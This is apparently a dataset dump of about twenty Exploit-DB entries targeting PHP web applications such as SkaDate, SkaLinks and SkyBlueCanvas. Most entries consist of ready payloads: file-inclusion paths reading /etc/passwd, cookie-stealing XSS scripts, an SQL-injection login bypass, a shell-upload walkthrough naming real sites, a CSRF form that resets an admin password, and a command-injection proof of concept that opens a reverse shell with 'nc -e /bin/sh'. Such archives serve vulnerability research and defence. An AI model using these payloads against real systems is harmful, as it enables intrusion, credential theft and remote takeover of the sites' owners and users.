deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4454
Description: sk.log 0.5.3 - 'skin_url' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-24
Author: w0cker

Exploit:
?????__________________________________________?????
????????_____________________________________???????
???????????_________________________________????????
??????????????_____________________________?????????
????????????????__________________________??????????
???????????????????______________________???????????
?????????????????????___________________????????????
??????????????????????_________________?????????????
????????????????????????_______________?????????????
??????????????????????????_____________?????????????
___?????????????????????????__________??????????????
_____?????????????????????????________??????????????
________???????????????????????_______??????????????
___________??????????????????????_____??????????????
________________???????????????????___??????????????
_____________________???????????????__??????????????
___________________________????????????????????????_
_____________________???????????????????????????____
______________???????????????????????????????_______
___________???????????????????????????????????______
________????????????????????????????????????????____
______????????_____??????????????????????????????___
____?????????_______??????????????????????????????__
__???????????_______???????????????????????????????_
_?????????????_____?????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
_??????????????????????????????????????????????????_
__?????????????????????????????????????????????????_
_____?????????????????????????????????????????????__
_________????????????????????????????????????????___
_______________??????????????????????????????????___
_________________???????????????????????????????____
_________________???????????????????????????________
________________??????????_____ ??????????___________
_________________?????_________?????_________?????__
__________????_________????____________?????????____
__________?????????????????_____??????????__________
__________?????????????????___?????_________________
__________?????______??????_________________________
# sk.log  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
##################################################
#ERROR1:log.inc.php
#include_once( "$SKIN_URL/php/logdisplay.inc.php" );<<< rfi coded.
#
#Other Files:
#/php-inc/log.inc.php?SKIN_URL=[ShellScript]
##################################################
#Download:http://surfnet.dl.sourceforge.net/sourceforge/sklog/sk.log_v0.5.3.zip
#
################################################## 
####specialthanx:####KEZZAP66345########################
##################################################

# milw0rm.com [2007-09-24]
Exploit-DB #36122
Description: SkaDate - 'blogs.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-08
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/49502/info

SkaDate is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/member/blogs.php?tag=blog+[XSS]
Exploit-DB #9260
Description: skadate dating - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-27
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] SkaDate Dating (RFI/LFI/XSS) Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ SkaDate Dating ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ https://www.skadate.com/  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Powered by SkaDate dating ]
        [Â»] Price:              [ $350 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : RFI/LFI vulnerability ]===	
	
[Â»] http://www.site.com/patch/?layout=[LFI]
[Â»] http://www.site.com/patch/?language_id=[LFI]

[Â»] http://www.site.com/patch/?language_id=[RFI]

[Â»] http://www.rsvpsinglelife.com/?layout=../../../../../../../../etc/passwd
[Â»] http://www.rsvpsinglelife.com/?language_id=../../../../../../../../etc/passwd

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/admin/auth.php/[XSS]
[Â»] http://www.site.com/patch/file_uploader.php/[XSS]

[Â»] http://www.skadate.com/demo/admin/auth.php/"><script>alert(document.cookie);</script>
[Â»] http://www.skadate.com/demo/file_uploader.php/"><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #4493
Description: SkaDate Online 5.0/6.0 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-10-06
Author: SnIpEr_SA

Exploit:
# SkaDate Online Dating Software Remote File Disclosure Vulnerability
# Author : SnIpEr-SA.CoM
# tested verson : 5.0 & 6.0
# Homepage : http://www.skadate.com
# Price: 795.00
# Exp :
# http://www.site.com/member/featured_list.php?view_mode=../../../../file%00
#
# http://www.site.com/member/online_list.php?view_mode=../../../../file%00


# Open Source Code, [o.0]

# dork : Powered by SkaDate Dating 

# milw0rm.com [2007-10-06]
Exploit-DB #8039
Description: SkaDate Online 7 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-02-11
Author: ZoRLu

Exploit:
[~] SkaDate Dating Remote Shell Upload
[~]
[~] Script: http://www.bpowerhouse.com/demos/traveling
[~] ----------------------------------------------------------
[~] home: yildirimordulari.com   online if you wanna hel you must register to my site and Ã½ will do help tp you  xD
[~]
[~] home: yildirimordulari.com   eger yardim istiyosan siteye uye olmalisin xD
[~]
[~] author: ZoRLu  msn: trt-turk@hotmail.com  
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] Date:11/02/09
[~]
[~] My Best Friend: Dr.LY0N
[~] -----------------------------------------------------------


you go here : http://www.yildirim.com/demo/member/join.php

select your photo but photo must be your shell.php

after you saw this: unallowable file extension "php" but no problem

your shell here: http://www.yildirim.com/demo/$userfiles/tmp/[id].php

 
for demo:

here:  http://www.skadate.com/demo/member/join.php

shell: http://www.skadate.com/demo/$userfiles/tmp/0b[PII_REDACTED]726fefa04cfaf43fd2bc.php

dont forget: http://www.skadate.com/demo/$userfiles/tmp/0b[PII_REDACTED]726fefa04cfaf43fd2bc.php?act=ls&d=%2Fetc%2Fvdomainaliases

( sizce hack benim umrumdamI )

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Dr.LY0N & z3h!r & HEAD_HUNTER and yildirimordulari.com all users
[~]
[~] yildirimordulari.com  &  experl.com & z0rlu.blogspot.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-02-11]
Exploit-DB #34701
Description: SkaLinks 1.5 - 'cat' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43430/info

SkaLinks is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SkaLinks 1.5 is vulnerable; other versions may also be affected.

http://www.example.com/dir/add_cat.php?cat=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]46)%3B</ScRiPt>
http://www.example.com/dir/add_url.php?cat=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]44)%3B</ScRiPt>
Exploit-DB #6445
Description: SkaLinks 1.5 - 'register.php' Arbitrary Add Editor
Type: webapps
Platform: php
Date: 2008-09-12
Author: mr.al7rbi

Exploit:
                         ||          ||   | ||       
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   . 

################################################################
#           SQL Injection
#
#           Found by ::: mr.al7rbi
#
#           Contact :::   n16 [at] live.com
#
#           my Group :::  mr.al7rbi team
#
################################################################

Title:   SkaLinks - Link Exchange Script
d0rk: 2005. Powered by SkaLinks - Link Exchange Script
DESCRIPTION:
add admin
EXPLOITS:
http://example.com/admin/register.php
example:
http://xxx.dk/partner/admin/register.php
Special  Greetz for :  tryag.cc/cc
Greetz : noaf_07 & aloosh  &  ili The General ili & fhad & all tryag members & all muslims

# milw0rm.com [2008-09-12]
Exploit-DB #7932
Description: SkaLinks 1.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-30
Author: Dimi4

Exploit:
########################################
#                                      #
# Product : SkaLinks                   #
# Version : 1.5                        #
# Dork : Powered by SkaLinks           #
# Site: http://www.skalinks.com/       #
# Founded by: Dimi4                    #
# Date : 29.01.09                      #
# Greetz: antichat                     #
#                                      #
########################################

SQL-injection, Auth Bypass
[+] URL: http://target.com/skalinks_1_5/admin/
[+] Admin name : 1' OR 1=1/*

Bug Function:

 function IsAdmin( )
    {
        $table_name = $this->m_AdminsTable;
        $res = $this->db_Row( "SELECT * FROM `$table_name` WHERE `Name`='".$_COOKIE['adminname']."' AND `Password`='".$_COOKIE['pwd']."'");
        if ( !$res )
        {
            return 0;
        }
        else
        {
            return $res;
        }
    }
(c) Dimi4, 2009 greetz to antichat

# milw0rm.com [2009-01-30]
Exploit-DB #27571
Description: SKForum 1.x - 'area.View.action?areaID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17389/info

SKForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/area.View.action?areaID=[XSS]
Exploit-DB #27572
Description: SKForum 1.x - 'planning.View.action?time' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17389/info
 
SKForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/planning.View.action?time=[XSS]
Exploit-DB #27573
Description: SKForum 1.x - 'user.View.action?userID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17389/info
  
SKForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/user.View.action?userID=[XSS]
Exploit-DB #30492
Description: SkilMatch Systems JobLister3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-13
Author: joseph.giron13

Exploit:
source: https://www.securityfocus.com/bid/25296/info

JobLister3 is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?mode=showbyID&jobid=99786'%20union%20all%20select%20something%20from%20something/*
http://www.example.com/index.php?mode=showbyID&jobid=99786'%20or%201=1/*
http://www.example.com/index.php?mode=showbyID&jobid=99786'%20order%20by%2016/*
Exploit-DB #25662
Description: Skull-Splitter Guestbook 1.0/2.0/2.2 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-14
Author: Morinex Eneco

Exploit:
source: https://www.securityfocus.com/bid/13632/info

Skull-Splitter Guestbook is prone to multiple HTML injection vulnerabilities. It is possible to inject HTML and script code into the title and content of posted messages.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user, other attacks are also possible. A victim user who views the vulnerable sections of the site would have the attacker-supplied HTML and script code execute in the security context of the affected site.

Skull-Splitter Guestbook versions 1.0, 2.0, and 2.2 have been reported to be vulnerable, however, other versions may be affected as well. 

1. Type in the title or content of msg

<script>alert(document.cookie)</script>

Type in the title or content of msg

2. <iframe src=http://evilhost/evil.php>
Exploit-DB #34919
Description: Skybluecanvas 1.1 r237 - 'admin.php' Directory Traversal
Type: webapps
Platform: php
Date: 2009-07-16
Author: MaXe

Exploit:
source: https://www.securityfocus.com/bid/44397/info

SkyBlueCanvas is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue requires administrative privileges and may allow an attacker to obtain sensitive information that could aid in further attacks.

SkyBlueCanvas 1.1 r237 is vulnerable; other versions may also be affected. 

http://www.example.com/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir=../../../../../../../etc/
Exploit-DB #34874
Description: Skybluecanvas 1.1 r237 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-10-15
Author: MaXe

Exploit:
source: https://www.securityfocus.com/bid/44225/info

SkyBlueCanvas is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SkyBlueCanvas 1.1 r237 is vulnerable; other versions may also be affected. 

http://www.example.com/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=XSS
http://www.example.com/skybluecanvas/admin.php?mgroup=settings&mgr=configuration&objtyp e=">XSS
http://www.example.com/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=page&sub=e ditpage&id=" onfocus=alert(0) >
http://www.example.com/skybluecanvas/admin.php?mgroup=pictures&mgr=media&dir=&#039;XSS
Exploit-DB #15080
Description: Skybluecanvas 1.1-r248 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-09-22
Author: Sweet

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
1  [+]Exploit Title: Skybluecanvas.v1.1-r248 CSRF vulnirabilitie       0
0  [+]Date: 022/09/2010                                                1
1  [+]Author: Sweet                                                    0
0  [+]Contact : charif38@hotmail.fr                                    0
1  [+]Software Link: www.skybluecanvas.com                             0
0  [+]Download: www.skybluecanvas.com/downloads.html                   1
1  [+]Version:v1.1-r248                                                0
0  [+]Tested on: Backtrack 4                                           1
1  [+]Risk : Hight                                                     0
0  [+]Description :                                                    0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

----=PoC=----
<html>
<body>
<h3>Skybluecanvas.v1.1-r248 CSRF vulnirabilitie</h3>
<form method="POST" name="form0" action="http://target.com/path/admin.php?mgroup=settings&mgr=password&objtype=password">
<input type="hidden" name="id" value="1"/>
<input type="hidden" name="username" value="admin"/>    <!-- User name     -->
<input type="hidden" name="password" value="password"/> <!-- your password  -->
<input type="hidden" name="confirm" value="password"/>  <!-- confirm password -->
<p> Press Continue to update admin information <input type="submit" name="submit" value="Continue"/> </p>
</form>
<form method="GET" name="form1" action="http://target.com/path/admin.php?mgroup=settings&mgr=password&objtype=password">
<input type="hidden" name="name" value="value"/> 
</form>
<form method="GET" name="form2" action="http://target.com/path/admin.php">
<input type="hidden" name="name" value="value"/> 
</form>
<form method="GET" name="form3" action="http://target.com/path/admin.php?mgr=login&js=1">
<input type="hidden" name="name" value="value"/> 
</form>
</body>
</html>


(thx to Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P  , inj3ct0r.com , exploit-db.com, packetstormsecurity.org, http://ha.ckers.org


et 1,2,3 viva L'Algerie :))
Exploit-DB #31183
Description: Skybluecanvas CMS 1.1 r248-03 - Remote Command Execution
Type: webapps
Platform: php
Date: 2014-01-24
Author: Scott Parish

Exploit:
Vulnerability in SkyBlueCanvas CMS

Vulnerability Type:
Remote Command Injection

Version Affected:
1.1 r248-03 (and probably prior versions)

Discovered by:
Scott Parish - Center for Internet Security

Vendor Information:
SkyBlueCanvas is an easy-to-use Web Content Management System, that makes it simple to keep the content of your site 
fresh. You simply upload the software to your web server, and you are ready to start adding text and pictures to your 
web site.

Vulnerability Details:
The SkyBlueCanvas Lightweight CMS application contains a remote command injection vulnerability within the form on the 
Contact page. A remote un-authenticated user can exploit this vulnerability to force the webserver to execute commands 
in the context of the vulnerable application. It is possible to exploit this vulnerability because the POST parameters 
"name", "email", "subject", and  "message" are not properly sanitized when submitted to the index.php?pid=4 page. 
Arbitrary commands can be executed by injecting the following payload to a vulnerable parameter:
A"; <command>
Since the page does not display the results of the injected command (blind injection) then testing must be done using a 
ping, nc, or similar command.

Proof of Concept Exploit Code:
<html>
<body>
<form action="http://localhost/index.php?pid=4"; method="post">
  <input type="hidden" name="cid" value="3">
  <input type="hidden" name="name" value="test&#34;&#59; nc -e /bin/sh 192.168.1.2 12345">
  <input type="hidden" name="email" value="test">
  <input type="hidden" name="subject" value="test">
  <input type="hidden" name="message" value="test">
  <input type="hidden" name="action" value="Send">
  <input type="submit" value="submit">
</form>
</body>
</html>

References:
http://skybluecanvas.com/

Remediation:
The vendor has issued a fix to the vulnerability in version 1.1 r248-04

Revision History:
1/9/14 - Vulnerability discovered
1/10/14 - Vulnerability disclosed privately to vendor
1/22/14 - Patch released by vendor
1/23/14 - Vulnerability disclosed publicly
This message and attachments may contain confidential information. If it appears that this message was sent to you by 
mistake, any retention, dissemination, distribution or copying of this message and attachments is strictly prohibited. 
Please notify the sender immediately and permanently delete the message and any attachments.